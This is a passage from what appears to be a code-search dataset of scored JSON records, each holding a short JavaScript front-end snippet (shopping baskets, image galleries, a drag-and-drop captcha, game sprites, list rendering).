select={b.func}\n draggable\n removeBubble = {this.props.removeBubble}\n setCoordinate = {this.props.setCoordinate}\n setSize = {this.props.setSize}\n linkBubbles={this.props.linkBubbles}\n resizable></Bubble>);\n });\n return bubblelist;\n }", "title": "" }, { "docid": "551297f7fa92d2f53b4c2f1640197927", "score": "0.5169003", "text": "function showLines() {\n console.log(\"showCaptions()\");\n lines.forEach((line) => {\n\n // for the image gallery:\n var lineImage = document.createElement(\"img\");\n lineImage.classList.add(\"image\");\n lineImage.src = line.fields.image[0].url;\n document.querySelector(\".block\").append(lineImage);\n\n // for the slot machine, making every input as a li with the class named \"item\":\n var linePart1 = document.createElement(\"div\");\n linePart1.classList.add(\"item\");\n linePart1.innerText = line.fields.part_1;\n document.querySelector(\".top\").append(linePart1);\n linePart1.style.height = `${linePart1.parentNode.offsetHeight}px`;\n\n var linePart2 = document.createElement(\"div\");\n linePart2.classList.add(\"item\");\n linePart2.innerText = line.fields.part_2;\n document.querySelector(\".middle\").append(linePart2);\n linePart2.style.height = `${linePart2.parentNode.offsetHeight}px`;\n\n var linePart3 = document.createElement(\"div\");\n linePart3.classList.add(\"item\");\n linePart3.innerText = line.fields.part_3;\n document.querySelector(\".buttom\").append(linePart3);\n linePart3.style.height = `${linePart3.parentNode.offsetHeight}px`;\n\n // differentiate the origin of the lines by using different styling:\n var lineAnime = line.fields.anime;\n lineAnime.forEach(function(anime){\n linePart1.classList.add(anime);\n })\n\n var lineAnime = line.fields.anime;\n lineAnime.forEach(function(anime){\n linePart2.classList.add(anime);\n })\n \n var lineAnime = line.fields.anime;\n lineAnime.forEach(function(anime){\n linePart3.classList.add(anime);\n })\n\n\n \n });\n\n\n\n// Ricky's code:\n // var button = document.getElementById('randomizeButton');\n\n // // create slot machines from scrollboxes\n // // 'active' is the index of the visible words. so if the 'active's of all 3 slot machines are equal, then you win\n // // delay is... the delay for starting. self-explanatory\n // // id is a value we'll use to identify each slot machine\n // var scrollboxTop = new SlotMachine(document.querySelector('.top'), { active: 0, id: 0 });\n // var scrollboxMiddle = new SlotMachine(document.querySelector('.middle'), { active: 0, delay: 500, id: 1 });\n // var scrollboxBottom = new SlotMachine(document.querySelector('.buttom'), { active: 0, delay: 1000, id: 2 });\n\n // button.addEventListener('click', () => {\n // var indexes = [0, 0, 0]; // an array of 'active' values from each slot machine\n // var message = document.getElementById('message');\n\n // // clear the message text\n // while (message.childNodes.length > 0) {\n // message.removeChild(message.firstChild);\n // }\n\n // // for each slot machine, spin the slot 5 times\n // // afterwards, execute onComplete()\n // scrollboxTop.shuffle(5, onComplete);\n // scrollboxMiddle.shuffle(5, onComplete);\n // scrollboxBottom.shuffle(5, onComplete);\n\n // // callback function to be executed after each slot machine finishes\n // function onComplete(active, id) {\n // // update indexes array with a number corresponding to the currently visible part of the line\n // // remember: this.id is used to identify the slot machine\n // /*\n // 0: scrollboxTop\n // 1: scrollboxMiddle\n // 2: scrollboxBottom\n // */\n // indexes[this.id] = this.active;\n\n // // if it's scrollboxBottom (the last slot machine), then execute checkIndexes()\n // if (this.id === 2) {\n // checkIndexes();\n // }\n // }\n\n // // callback function to be executed after the last slot machine finishes\n // function checkIndexes() {\n // // check if every value in the array is equal to each other\n // // if it is, then you win. otherwise, try again\n // if (indexes.every(i => i === indexes[0])) {\n // message.textContent = 'You\\u2019ve found the original line.';\n // } else {\n // message.textContent = 'Try again.';\n // }\n // }\n // }, false);\n \n\n\n }", "title": "" }, { "docid": "120f8bc62e8ff28c61cb9b79c6eb6709", "score": "0.5164634", "text": "function addNewBee() {\r\n Aufgabe8_Bienen.allBees.push(new Aufgabe8_Bienen.RegularBee(250, 620, \"hsl(\" + Math.random() * 360 + \", 70%, 50%)\"));\r\n n++;\r\n }", "title": "" }, { "docid": "b6ae6fde50c584874ac66e354fe65f87", "score": "0.5147014", "text": "function gen_lightbox(elt) {\n createLightboxSeries(elt, current_category);\n}", "title": "" }, { "docid": "1d09a76a97167e2cc732c2dcc071df9c", "score": "0.5143233", "text": "asianEyes () {\n let ey = document.querySelectorAll('.eyes');\n let eyes = ey[ey.length-1];\n let frag = '<ellipse cx=\"100\" cy=\"120\" rx=\"30\" ry=\"5\" stroke=\"brown\" fill=\"brown\" stroke-width=\"1\"/><ellipse cx=\"200\" cy=\"120\" rx=\"30\" ry=\"5\" stroke=\"brown\" fill=\"brown\" stroke-width=\"1\"/>';\n eyes.innerHTML = frag;\n let ull = document.querySelectorAll('.list');\n let ul = ull[ull.length-1]; \n let li = document.createElement('li');\n li.innerHTML = 'mix 1: asianEyes';\n ul.append(li); \n return this;\n }", "title": "" }, { "docid": "9c65081f19c411f628c477c09214dd62", "score": "0.5142037", "text": "function append_items() { \n const items = [make_icon, add_cover, add_text]\n const target = role === 'listbox' ? listbox : role === 'option' ? option : shadow\n // list of listbox or dropdown menu\n if (role.match(/option/)) shadow.append(make_list_icon, option)\n // listbox or dropdown button\n if (role.match(/listbox/)) shadow.append(make_select_icon, listbox)\n items.forEach( item => {\n if (item === undefined) return\n target.append(item)\n })\n }", "title": "" }, { "docid": "5aaefd22e9fefb2584231d36f15f0f5e", "score": "0.5112854", "text": "function populateBreedList(breeds) {\n for (let breed of breeds) {\n $breeds.append(`<li><a href=\"#!\"><i class=\"fa fa-paw fa-lg\" aria-hidden=\"true\"></i> ${breed}</a></li>`)\n }\n}", "title": "" }, { "docid": "828160fecbae9e8b53ffc14f813a20f5", "score": "0.5103343", "text": "function append_items() {\n const items = [make_icon, add_cover, add_text]\n const target = role === 'listbox' ? listbox : role === 'option' ? option : shadow\n // list of listbox or dropdown menu\n if (role.match(/option/)) shadow.append(make_list_icon, option)\n // listbox or dropdown button\n if (role.match(/listbox/)) shadow.append(make_select_icon, listbox)\n items.forEach( item => {\n if (item === undefined) return\n target.append(item)\n })\n }", "title": "" }, { "docid": "bd2c14558b3ab9a5fc55175db1b0c7ef", "score": "0.5095461", "text": "function getBaskets(part) {\n\t\t\t\t\tvar div=$('<div/>').attr('id','baskets_'+cfgL.captchas).attr('class','baskets');\n\t\t\t\t\tfor (var x in cfg.lettersDivs) {\n\t\t\t\t\t\tvar basket=$('<div/>')\n\t\t\t\t\t\t\t\t\t.attr('id','basket_'+cfg.lettersDivs[x].attr('bccode')+'_'+(x)+'_'+cfgL.captchas) // innovation of 1.02 : cfg.lettersDivs[x].attr('bccode') from (x)\n\t\t\t\t\t\t\t\t\t.attr('class','basket');\n\t\t\t\t\t\tif (Number(x)!=(cfg.lettersDivs.length-1)) basket.css('border-right','none');\n\t\t\t\t\t\t$(basket).droppable({\n\t\t\t\t\t\t\thoverClass: \"basket-hover\",\n\t\t\t\t\t\t\tdrop: function( event, ui ) {\n\t\t\t\t\t\t\t\tif (!$(this).droppable('option','disabled')) {\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tvar clone=$(ui.draggable).clone().css({left:0,top:0});\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t$(ui.draggable)\n\t\t\t\t\t\t\t\t\t\t\t.draggable({ revert: false })\n\t\t\t\t\t\t\t\t\t\t\t.css({left:0,top:0})\n\t\t\t\t\t\t\t\t\t\t\t.animate({width:0,opacity:0},600);\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t$(this)\n\t\t\t\t\t\t\t\t\t\t\t.droppable({disabled:true})\n\t\t\t\t\t\t\t\t\t\t\t.attr('class','basket_closed')\n\t\t\t\t\t\t\t\t\t\t\t.append(clone);\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tvar letter_ids=$(ui.draggable).attr('id'); letter_ids=letter_ids.split('_');\n\t\t\t\t\t\t\t\t\tvar basket_ids=$(this).attr('id'); basket_ids=basket_ids.split('_');\n\t\t\n\t\t\t\t\t\t\t\t\tif (letter_ids[1]==basket_ids[1] && letter_ids[3]==basket_ids[3]) {\n\t\t\t\t\t\t\t\t\t\t$(this).fadeOut(100, function(){$(this).fadeIn(500)});\n\t\t\t\t\t\t\t\t\t\t$(clone).attr('class','letter_blue');\n\t\t\t\t\t\t\t\t\t\tcfgL.goodLetters++;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t\t\t$(this).effect('pulsate',100);\n\t\t\t\t\t\t\t\t\t\t$(clone).attr('class','letter_red');\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\n\t\n\t\t\t\t\t\t\t\t\tif (options.verifyInput===true) {\n\t\t\t\t\t\t\t\t\t\tcfgL.stepsLength++;\n\t\t\t\t\t\t\t\t\t\tcfgL.steps[basket_ids[2]]=letter_ids[2];\n\t\t\t\t\t\t\t\t\t\tif (cfgL.stepsLength==options.letters) setVerify();\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tif (cfgL.goodLetters==options.letters) setNotRobot();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}).appendTo(div);\n\t\t\t\t\t}\n\t\t\t\t\tif (options.codeZone!=false) $(cfg.structure.contains.zone).clone().appendTo(div);\n\t\t\t\t\tvar zone=$(cfg.structure.contains.end).clone().appendTo(div);\n\t\t\t\t\t$(div).appendTo(part).css('width',((cfg.lettersDivs.length*18)+cfg.lettersDivs.length*2+cfg.structure.contains.zone.css('width'))+'px');\n\t\t\t\t}", "title": "" }, { "docid": "87c39b466206045fc9813f654fa3f599", "score": "0.50940895", "text": "render() {\n this.loadEvents();\n const books = this.myLibrary.myLibrary;\n console.log(books)\n books.forEach((book) => {\n this.addNewBookUI(book);\n \n });\n }", "title": "" }, { "docid": "ff23207f246fc5f8d31afa9a5737d57e", "score": "0.50930196", "text": "render() {\n return (\n <Aux>\n <Burger ingredients = {this.state.ingredients}/>\n <div>\n Build Container\n </div>\n </Aux>\n );\n }", "title": "" }, { "docid": "148bbced6757ab5972782816e53f9192", "score": "0.50916874", "text": "add(chatter) {\n chatter.name = 'Chatter no.' + (this.earlybird++);//Give the new chatter a name\n this.chatterlist.push(chatter);//Add new chatter to the list \n this.chatterlist.forEach(val => {\n val.write(`${chatter.name} has entered the ChatterBox!\\n`);\n });\n }", "title": "" }, { "docid": "dbc93fd3e999dfe7f9b783ae36b12a81", "score": "0.5069507", "text": "function showBasket() {\n var out = '';\n\n if (Object.keys(basket).length == 0) {\n out += '<div class=\"empty-info\">Your shopping bag is empty. Use Catalog to add new items</div>';\n summaryBlock.style.display = \"none\";\n } else {\n for (var elem in basket) {\n for (var subElem in basket[elem]) {\n for (var good in catalog) {\n if (elem === catalog[good].id) {\n out += \"<div class=\\\"basket__item basket-item\\\">\\n <div class=\\\"basket-item__img\\\">\\n <img src=\\\"\".concat(catalog[good].thumbnail, \"\\\" alt=\\\"\").concat(catalog[good].title, \"\\\">\");\n\n if (catalog[good].hasNew) {\n out += \"<div class=\\\"stick-new\\\">NEW</div>\";\n }\n\n out += \"</div>\\n <div class=\\\"basket-item__desc basket-item-desc\\\">\\n <h3 class=\\\"basket-item-desc__title\\\">\\n \".concat(catalog[good].title, \"\\n </h3>\\n <h2 class=\\\"basket-item__price\\\">\");\n\n if (catalog[good].discountedPrice != null) {\n out += \"\\xA3\".concat(catalog[good].discountedPrice.toFixed(2));\n } else {\n out += \"\\xA3\".concat(catalog[good].price.toFixed(2));\n }\n\n out += \"</h2>\\n <p class=\\\"basket-item-desc__color\\\">\\n Color: <span id=\\\"color\\\">\".concat(basket[elem][subElem].color, \"</span>\\n </p>\\n <p class=\\\"basket-item-desc__size\\\">\\n Size: <span id=\\\"size\\\">\").concat(basket[elem][subElem].size, \"</span>\\n </p>\\n <div class=\\\"basket-item-desc__quantity\\\">\\n Quantity:\\n <button class=\\\"quantity-minus\\\" data-actminus=\\\"\").concat(catalog[good].id, \"\\\">&ndash;</button>\\n <span class=\\\"quantity\\\">\").concat(basket[elem][subElem].counts, \"</span> \\n <button class=\\\"quantity-plus\\\" data-actplus=\\\"\").concat(catalog[good].id, \"\\\">+</button>\\n </div>\\n <button class=\\\"basket-item-desc__remove\\\" data-delete=\\\"\").concat(catalog[good].id, \"\\\">Remove item</button>\\n </div>\\n </div>\");\n }\n }\n }\n }\n if (checkBsktForLeft() && checkBsktForRight()) {\n discountPrice.classList.remove('hidden');\n } else {\n discountPrice.classList.add('hidden');\n }\n\n summaryBlock.style.display = \"block\";\n fullPrice.innerHTML = \"£\" + showBasketCounts();\n }\n basketDiv.innerHTML = out;\n}", "title": "" }, { "docid": "84993fd19c17544beb2345a00b2747d7", "score": "0.50676656", "text": "function addGalleryElement(images)\n {\n images.forEach(function(image){\n var html = \"\" + \n '<div class=\"col-sm-6 col-md-4 image-gallery-item\">' + \n '<a class=\"lightbox\" gallery-id=\"' + image.id + '\" href=\"'+asset_url+\"/\"+image.img_url+'\">' + \n '<img gallery-id=\"' + image.id + '\" src=\"' + asset_url + \"/\" + image.img_url +'\" alt=\"Sky\">' +\n '</a>' +\n \"<h4 style='text-align:center; margin-top: -10px; word-wrap:break-word;'>\" + image.title + \"</h4>\" + \n // add image like button\n \"<div style=''>\" + \n \"<div class='like-button-container' gallery-id='\"+image.id+\"' style='text-align:center;margin:auto;'>\" + \n \"<a style='padding: 5px;'><i gallery-id='\"+image.id+\"' class='gallery fas fa-star \" + (image.is_star ? \"active\" : \"\" ) + \"'></i> <span class='count'>\" + image.star + \"<span></a>\" +\n \"<a style='padding: 5px;'><i gallery-id='\"+image.id+\"' class='gallery fas fa-sign-language \" + (image.is_clap ? \"active\" : \"\" ) + \"'></i> <span class='count'>\" + image.clap + \"<span></a>\" + \n \"<a style='padding: 5px;'><i gallery-id='\"+image.id+\"' class='gallery fas fa-heart \" + (image.is_heart ? \"active\" : \"\" ) + \"'></i> <span class='count'>\" + image.heart + \"<span></a>\" +\n \"</div>\" +\n \"</div>\" + \n \"</div>\";\n $(html).appendTo(\"#latest-images\");\n });\n\n baguetteBox.run('.tz-gallery');\n console.log(\"baguetteBox\", baguetteBox);\n }", "title": "" }, { "docid": "760f14283cc26007cb95997d7748518d", "score": "0.5065028", "text": "function addSubComponents()\n {\n \t// Keychain\n this.keyChain = new KeyChainComponent();\n this.keyChain.init();\n \n this.keyChain.render(function(html) {\n this.view.uicomponents.push(html);\n }.bind(this));\n \n // Inventory\n this.inventory = new Inventory();\n this.inventory.init();\n \n this.inventory.render(function(html) {\n this.view.uicomponents.push(html);\n }.bind(this));\n }", "title": "" }, { "docid": "c893388643ab8a623412b74f1c247490", "score": "0.50630075", "text": "loadComponents() {\n this.core.editor.querySelectorAll(\".hotkey\").forEach(element => {\n if (!element.dataset.item) return;\n // pega o marcador\n let item = this._getMarker(element.dataset.item);\n if (!item || !item.items) return;\n // pega o item\n item = item.items.find(i => i.raw == element.dataset.item);\n if (!item) return;\n element.innerHTML = null;\n // executando acao da hotkey\n let result = item.render(this.core, () =>\n element.appendChild(document.createElement(\"span\"))\n );\n if (!result) return;\n if (typeof result == \"string\") element.innerHTML = result;\n });\n }", "title": "" }, { "docid": "1bff9229bd28dd5801685c918e581805", "score": "0.5041922", "text": "function initBeads(){\n\tlet tempRow=[];\n\tbeads=[];\n\tfor(let r=0; r<rows; r++){\n\t\ttempRow=[]\n\t\tfor(let c=0; c<cols; c++){\n\t\t\ttempRow.push('x');\n\t\t}\n\t\tbeads.push(tempRow);\n\n\t}\n\t\n}", "title": "" }, { "docid": "46f3aca2465514363d7e98a5ab7f1ddc", "score": "0.5014873", "text": "function printLegs(legs, id){\n $(legs).each(function(i, val){\n var legId = val.legId; \n var el = document.getElementById(id);\n $(el.parentElement.getElementsByClassName('legs')).append('<div id=\"'+val.legId+'\"><p>'+ val.name +'</p>')\n $(val.selections).each(function(i, val){\n $('#'+legId).append('<input type=\"checkbox\" name=\"option\" value=\"'+val+'\">'+val+'')\n })\n })\n }", "title": "" }, { "docid": "962f304219587d826367562ee33de789", "score": "0.5010258", "text": "function addToArray() {\r\n for (let item of order.ingredients) {\r\n document.getElementById(item).addEventListener(\"click\", () => {\r\n order.chosen.push(item);\r\n chosenItems.innerHTML += `${item}<br>`;\r\n });\r\n }\r\n order.chosen = [];\r\n}", "title": "" }, { "docid": "abcb455dad8ee94ab8247191c4ec2a27", "score": "0.49910057", "text": "addIngredient(ingredient) {\n this.taco.push(ingredient);\n this.render();\n }", "title": "" }, { "docid": "c831694c5a5dc89900cbb9de9c9228a2", "score": "0.49888614", "text": "function renderBox(labels, agentName) {\r\n const container = document.createElement('fieldset');\r\n // Create legend element\r\n let legend = document.createElement('legend');\r\n legend.setAttribute('class', `legend${agentName}`);\r\n legend.innerText = `${agentName}`;\r\n container.appendChild(legend);\r\n // Create textarea element\r\n let textArea = document.createElement('textarea');\r\n textArea.setAttribute('class',`inArea${agentName}`);\r\n textArea.innerHTML = \"\";\r\n container.appendChild(textArea);\r\n // Create div element\r\n let divBtn = document.createElement('div');\r\n divBtn.setAttribute('class', 'btn-bottom');\r\n // Create input element for inside div class btn-bottom\r\n let inputElement = document.createElement('input');\r\n inputElement.setAttribute('class', `tipsGame${agentName}`);\r\n inputElement.setAttribute('type', 'number');\r\n divBtn.appendChild(inputElement);\r\n // Create button element for re-rolling\r\n let reRoll = document.createElement('button');\r\n reRoll.setAttribute('class', `reroll ${agentName}`);\r\n reRoll.innerHTML = 'Reroll';\r\n divBtn.appendChild(reRoll);\r\n container.appendChild(divBtn);\r\n // Add renderBox to HTML class container\r\n document.getElementById('main').appendChild(container);\r\n\r\n //\r\n reRoll.addEventListener('click', function() {\r\n let numInput = inputElement.value;\r\n let numArray = [];\r\n let tipsRolled = '';\r\n // Remove Duplicates and prevent crash\r\n if (numInput > labels.length || numInput < 0) {\r\n textArea.innerHTML = \"Please input value between 1 \\~ \" + labels.length + \"!\";\r\n } else {\r\n for (let n = numInput; n > 0;) {\r\n let numGen = Math.floor(Math.random() * labels.length);\r\n if (!numArray.includes(numGen)) {\r\n numArray.push(numGen);\r\n n--;\r\n }\r\n }\r\n numArray.forEach(el => tipsRolled+= `${labels[el]}\\n`);\r\n textArea.innerHTML = tipsRolled;\r\n }\r\n\r\n });\r\n}", "title": "" }, { "docid": "cd9646cbcd3db00f0e2f48f5fc993d34", "score": "0.49848613", "text": "get elements() {\n var elements = this.bars.map(function(bar){return bar; }); //video 5 map retornar cada uno de los elemetos modificarlo y agregar arreglo\n elements.push(this.ball);\n return elements;\n }", "title": "" }, { "docid": "6f04eddf44b00191f6d0adb46135c5f0", "score": "0.49802023", "text": "function setupMoneyBags (moneyBagsFromServer) {\n // Adding moneybags to moneyTrees R-tree\n var toBeAddedToMoneyTree = [];\n\n moneyBags = moneyBagsFromServer;\n for (var moneyBag in moneyBags) {\n if (moneyBags.hasOwnProperty(moneyBag)) {\n //abstract THIS\n var coords = moneyBag.split(\",\");\n coords[0] = parseInt(coords[0]);\n coords[1] = parseInt(coords[1]);\n moneyBags[moneyBag].pos = coords;\n moneyBags[moneyBag].sprite = generateSprite(\"moneybag\");\n\n toBeAddedToMoneyTree.push(prepForMoneyTree(moneyBags[moneyBag]));\n }\n }\n moneyTree.load(toBeAddedToMoneyTree);\n}", "title": "" }, { "docid": "fc0199d294e0b2326caa84408ecb02ea", "score": "0.4979611", "text": "function registerBulletpoint(ownerId, bpoints){\n for(var i=0; i<bpoints.length; i++){\n for(var j=0; j<bpoints[i].p.length; j++){\n availableBulletPoints.push({\"ownerId\": ownerId, \"topic\": bpoints[i].t, \"point\": bpoints[i].p[j]});\n }\n }\n}", "title": "" }, { "docid": "7ced2ccf366c7bd43c26611613be0c31", "score": "0.4978134", "text": "constructor(xstart, ystart, zstart, size, spacing) {\n this.tears1 = new Array(10);\n let i = 0;\n for (i = 0; i < 9; i = i + 2) {\n this.tears1[i] = new Drop(xstart, ystart, zstart, Vec.of(size, size, size));\n this.tears1[i+1] = new Drop(xstart, ystart, zstart, Vec.of(size, 2*size, size));\n }\n this.tears2 = new Array(10);\n for (i = 0; i < 9; i = i + 2) {\n this.tears2[i] = new Drop(xstart, ystart, zstart, Vec.of(size, size, size));\n this.tears2[i+1] = new Drop(xstart, ystart, zstart, Vec.of(size, 2*size, size));\n }\n this.tears3 = new Array(10);\n for (i = 0; i < 9; i = i + 2) {\n this.tears3[i] = new Drop(xstart, ystart, zstart, Vec.of(size, size, size));\n this.tears3[i+1] = new Drop(xstart, ystart, zstart, Vec.of(size, 2*size, size));\n }\n \n this.show = new Array(10);\n for (i = 0; i < 10; i++) {\n this.show[i] = false;\n }\n \n this.lifestart1 = new Array(10);\n for (i = 0; i < 10; i++) {\n this.lifestart1[i] = -((spacing/10) * i);\n }\n \n }", "title": "" }, { "docid": "2fa1e536307e836104f5223f5a80a383", "score": "0.49716344", "text": "function showBoats() {\r\n //if boats array is having any data\r\n if (boats.length > 0) {\r\n if (\r\n //arr=[javelin,emmanuel];....arr.length===2....arr[arr.length-1]=arr[1]\r\n //if(arr[0]===javelin) {text(\"hi\")}\r\n //checking thee last element of boats array\r\n boats[boats.length - 1] === undefined ||\r\n boats[boats.length - 1].body.position.x < width - 300\r\n ) {\r\n var positions = [-40, -60, -70, -20];\r\n var position = random(positions);\r\n \r\n //make boats at random positions\r\n var boat = new Boat(width, height - 100, 170, 170, position);\r\n \r\n //after making boat push it in the boats array\r\n boats.push(boat);\r\n }\r\n\r\n //taking each boat and setting their velocity to velocityX=-0.9,and velocityY=0\r\n for (var i = 0; i < boats.length; i++) {\r\n\r\n //accessing the boats array one by one element and giving them velocity\r\n if (boats[i]) {\r\n Matter.Body.setVelocity(boats[i].body, {\r\n x: -0.9,\r\n y: 0\r\n });\r\n \r\n //display each boat\r\n boats[i].display();\r\n } \r\n }\r\n } else {\r\n //when no boat in array thenmake newone\r\n var boat = new Boat(width, height - 60, 170, 170, -60);\r\n boats.push(boat);\r\n }\r\n}", "title": "" }, { "docid": "477ff599517c9ac2c646253c74fcafc3", "score": "0.4948964", "text": "enterElements() {\n // Elements to add\n const newwords = this.wordgroup.enter().append('g').attr(\"class\", \"chart__word-group chart__word-group--wordscloud\");\n newwords.append(\"text\").style(\"font-size\", d => d.size + \"px\").style(\"font-family\", d => d.font).attr(\"text-anchor\", \"middle\").attr('fill', d => this.colorElement(d, 'text')).attr(\"transform\", d => `translate(${[d.x, d.y]})rotate(${d.rotate})`).text(d => d.text);\n }", "title": "" }, { "docid": "6b1b32a5401d35440d028466665cbf5c", "score": "0.4944587", "text": "updateClickables() {\n this.clickables.splice(0, this.clickables.length);\n this.hoverables.splice(0, this.hoverables.length);\n this.contextMenuEnabledAtoms.splice(0, this.contextMenuEnabledAtoms.length);\n for (let i = 0, il = this.models.length; i < il; i++) {\n let model = this.models[i];\n if (model) {\n let atoms = model.selectedAtoms({\n clickable: true\n });\n let hoverable_atoms = model.selectedAtoms({\n hoverable: true\n });\n let contextMenuEnabled_atom = model.selectedAtoms({ contextMenuEnabled: true });\n // Array.prototype.push.apply(hoverables,hoverable_atoms);\n for (let n = 0; n < hoverable_atoms.length; n++) {\n this.hoverables.push(hoverable_atoms[n]);\n }\n // Array.prototype.push.apply(clickables, atoms); //add atoms into clickables\n for (let m = 0; m < atoms.length; m++) {\n this.clickables.push(atoms[m]);\n }\n // add atoms into contextMenuEnabledAtoms\n for (let m = 0; m < contextMenuEnabled_atom.length; m++) {\n this.contextMenuEnabledAtoms.push(contextMenuEnabled_atom[m]);\n }\n }\n }\n for (let i = 0, il = this.shapes.length; i < il; i++) {\n let shape = this.shapes[i];\n if (shape && shape.clickable) {\n this.clickables.push(shape);\n }\n if (shape && shape.hoverable) {\n this.hoverables.push(shape);\n }\n }\n }", "title": "" }, { "docid": "8a1d5e58f79fc61e3523b207d5aeb465", "score": "0.494395", "text": "testBelt(open, closed) {\n open.setInteractive();\n open.on(\"pointerdown\", function () {\n open.setVisible(false);\n closed.setVisible(true)\n counter++\n })\n }", "title": "" }, { "docid": "59ad241bcdbb7a3758a57f0edcb28f95", "score": "0.4933575", "text": "function draw() {\n for (i = 0; i < items.length; i++) {\n var $item = $(items[i])\n var locationTag = \"\"\n $item.data('location') == 'server' ? locationTag = \"#server\" : locationTag = \"#knapsack\";\n $(locationTag + \" .items\").append($item) //detach not needed because append just moves the element.\n }\n }", "title": "" }, { "docid": "77c8d49994a43b49c604a295dea926fc", "score": "0.49259853", "text": "function edenAdd(parts,runners){\n\tvar ret = eden_frame_elements.length;\n\teden_frame_elements[ret] = parts;\n\teden_world_elements[ret] = runners;\n\treturn ret;\n}", "title": "" }, { "docid": "5729eacb0badd05a609d9d1decd8c8ba", "score": "0.49199194", "text": "addBouquet (bouquet) {\n this.bouquets.push(bouquet)\n }", "title": "" }, { "docid": "30a2e31edd230d9b3caf2dc908f9639f", "score": "0.49196765", "text": "createIngredientList(array) {\n let ingredientList = array;\n for (let i = 0; i < ingredientList.length; i++) {\n document.querySelector(this.selector_id_list).innerHTML += ingredientList[i].getIngredientHTML();\n }\n\n }", "title": "" }, { "docid": "936a4e1d2cadf64d02a028194ddd622f", "score": "0.49146616", "text": "function createBells(x, y, radius, margin, bellTexture) {\r\n var diameter = radius * 2;\r\n bellTexture.width = diameter;\r\n bellTexture.height = diameter;\r\n for (var i = 0; i < 6; ++i) {\r\n var bell = new Bell(new Vector2(x + (x * i), y),\r\n radius, (i + 1).toString(), bellTexture);\r\n g_Bells.push(bell);\r\n g_CanvasRenderer.subscribe(bell, 2);\r\n }\r\n}", "title": "" }, { "docid": "a8c0cdafa3aac9cd3f6a6d44f6fbe6d9", "score": "0.4913856", "text": "function initiate() {\n bats.push(new bat(100));\n bats.push(new bat(width - 100));\n circles.push(new circle());\n}", "title": "" }, { "docid": "f9604c82798e6d14a94c18e69c2d770e", "score": "0.4911999", "text": "function renderBag() {\n const parallax = document.querySelector(\".parallax.top\");\n parallax.innerHTML = `<div class=\"container\"></div>`;\n\n let sumAvg = 0;\n let total = 0;\n let content = \"\";\n\n for (let i = 0; i < object.length; i++) {\n if (object[i].inCart === true) {\n content += `\n <table>\n <tr>\n <th>Product</th>\n <th>Price</th> \n <th>Qauantity</th>\n <th>Total</th>\n <th></th>\n </tr> \n <tr>\n <td class=\"item\"><img src=\"${\n object[i].img\n }\" alt=\"Watch\" class=\"image\" style=\"width:10vw\"/><p>${\n object[i].name\n }</p></td>\n <td>${object[i].price} £</td>\n <td><button class=\"minus\" data-productid=\"${\n object[i].id\n }\"><</button><span>${\n object[i].quantity\n }</span><button class=\"plus\" data-productid=\"${\n object[i].id\n }\">></button></td>\n <td>${(sumAvg = object[i].price * object[i].quantity)} £</td>\n <td><button class=\"deleteBtn\" data-productid=\"${\n object[i].id\n }\">Delete</button></td>\n </tr>\n </table>`;\n\n total += object[i].price * object[i].quantity;\n }\n }\n\n content += `<div class=\"avg\"> \n <p>Basket Total:</p>\n <p id=\"total\">${total} £</p>\n <button>Buy</button>\n </div>`;\n\n const main = document.getElementsByTagName(\"main\")[0];\n main.classList.add(\"mainClass\");\n main.innerHTML = content;\n\n deleteObject();\n increase();\n decrease();\n}", "title": "" }, { "docid": "6060dfb536783cab2727a1ce96912a83", "score": "0.4907194", "text": "function add_bird() {\n\t\tfor(i = 0; i < NUM_BIRD_SPAWNS_PER_SECOND; ++i)\n\t\t\tvogel.push(new Vogel());\n\t}", "title": "" }, { "docid": "9f89ae1607611b21f5acd1a0bad59115", "score": "0.49027833", "text": "get update() {\n\t\tthis.numbers.forEach(n => document.querySelector(\"#numbers\").insertAdjacentHTML('beforeend', `<li>${n}</li>`))\n\t\tthis.words.forEach(w => document.querySelector(\"#words\").insertAdjacentHTML('beforeend', `<li>${w}</li>`))\n\t}", "title": "" }, { "docid": "5fd8e6ded84e63bbade89edd98578286", "score": "0.49000064", "text": "appendIntoTools(object){\n for(let i = 0; i<toolbar.length; i++){\n if(toolbar[i] === 0){\n toolbar[i] = object;\n break;\n }\n }\n }", "title": "" }, { "docid": "14e582dcd794bbdfe3b637c1c5a2f9ec", "score": "0.48994792", "text": "function render() {\n const $fruitList = $('#js-basket');\n\n $fruitList.empty();\n for (let i = 0; i < basket.length; i++) {\n console.log(basket[i]);\n $fruitList.append(`<li>${basket[i].name}</li>`);\n }\n}", "title": "" }, { "docid": "8f21c8db239dbd6da8a8a6066ca521ee", "score": "0.48960373", "text": "function createList(breeds) {\n let ul = document.querySelector('#dog-breeds')\n breeds.forEach(breed => addBreed(breed));\n}", "title": "" }, { "docid": "bb7e206ac9d98b5757261d20f7fcc593", "score": "0.48955324", "text": "function renderDrinkBasket(){\n $(\".genDrinkBasket\").empty();\n for (var i = 0; i < drinkBasket.length; i++){\n var genDrinkBasket = $(\"<button>\");\n genDrinkBasket.text(drinkBasket[i]);\n genDrinkBasket.addClass(\"user-drinkbasket\");\n genDrinkBasket.attr(\"data-drinkbtn\", drinkBasket[i]);\n $(\".genDrinkBasket\").append(genDrinkBasket);\n }\n}", "title": "" }, { "docid": "5517dc19e340e6b2fa645ca580eb21ea", "score": "0.48941955", "text": "expand(no,arr){\n for(let i=0;i<arr.length;i++){\n console.log(arr[i][0]);\n console.log(arr[i][1]);\n this.pack(arr[i][0],arr[i][1])\n }\n }", "title": "" }, { "docid": "912976c6236e994ef1f05d3eb7abea7d", "score": "0.48927322", "text": "function addBox(box) {\n app.cur_frame.bounding_boxes.push(box);\n addObjectRow(box);\n box.add_text_label();\n}", "title": "" }, { "docid": "fd0ae60eb6e5520f07d69aa3304cdbf8", "score": "0.48921365", "text": "function addBoxes() {\n let item = document.createElement(\"div\");\n item.className = \"grid-item\";\n let box = document.createElement(\"div\");\n box.className = \"box b\" + b;\n box.id = \"b\" + b;\n //adds number for debugging if true\n if (debug == 1) {\n let textnode = 